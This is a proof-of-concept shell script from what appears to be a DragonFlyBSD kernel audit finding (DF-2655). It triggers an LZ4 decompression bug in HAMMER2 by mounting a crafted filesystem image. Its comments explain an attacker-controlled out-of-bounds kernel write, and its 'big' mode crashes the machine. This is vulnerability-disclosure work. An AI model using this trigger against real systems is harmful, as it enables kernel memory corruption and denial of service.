⬢ DragonFlyBSD Kernel Audit
DF-2655 / run_lz4.sh
← back to finding ↓ download raw
#!/bin/sh
#
# run_lz4.sh - DF-2655 LZ4 sibling test (STOCK kernel).
#
# The LZ4 decompress callback (hammer2_strategy.c:182-220) has BOTH:
#   (1) the same missing-b_error bug as ZLIB (silent zero substitution), and
#   (2) an OOB WRITE: on LZ4_decompress_safe() < 0 the tail fill computes
#       bzero(bp->b_data + result, bp->b_bufsize - result) with a NEGATIVE
#       result -> zeroing of |result| bytes BEFORE the 64KB bp->b_data.
#       |result| = stored compressed_size + 1 (LZ4 walks its whole input
#       then errors with ip == iend) -- attacker-chosen via the image.
#
# run1 (small):   size prefix 8         -> result = -9   (silent 9-byte OOB)
# run2 (big):     size prefix bytes-4   -> result = -16381 -> OOB hits an
#                 unmapped page -> Fatal trap 12 (memset), machine halted.
#
# Run each on a fresh boot of the stock kernel.  run2 WEDGES THE GUEST.
#
# usage: ./run_lz4.sh small|big   (default small; run in /root/df2655)
set -e
D=${D:-/root/df2655}
MODE=${1:-small}
cd "$D"

if [ "$MODE" = small ]; then M=lz4; else M=lz4big; fi
cp h2l.pristine.img h2l.img
./h2zsub h2l.img patch lzfile $M 0 > patch.lz4.$MODE.log 2>&1
vn=$(vnconfig -c vn h2l.img)
echo "unit $vn"
mount_hammer2 -o ro /dev/$vn@LOCAL /mnt
dd if=/mnt/lzdir/lzfile of=$D/lzfile.$MODE.readout bs=64k count=2
echo "dd exit: $?"
md5 $D/lzfile.$MODE.readout $D/lzfile.orig
od -An -tx1 -N32 $D/lzfile.$MODE.readout
echo "nonzero in first 64K: $(dd if=$D/lzfile.$MODE.readout bs=1 count=65536 2>/dev/null | tr -d '\0' | wc -c)"
dmesg | tail -4
umount /mnt || umount -f /mnt
vnconfig -d "$vn" 2>/dev/null || true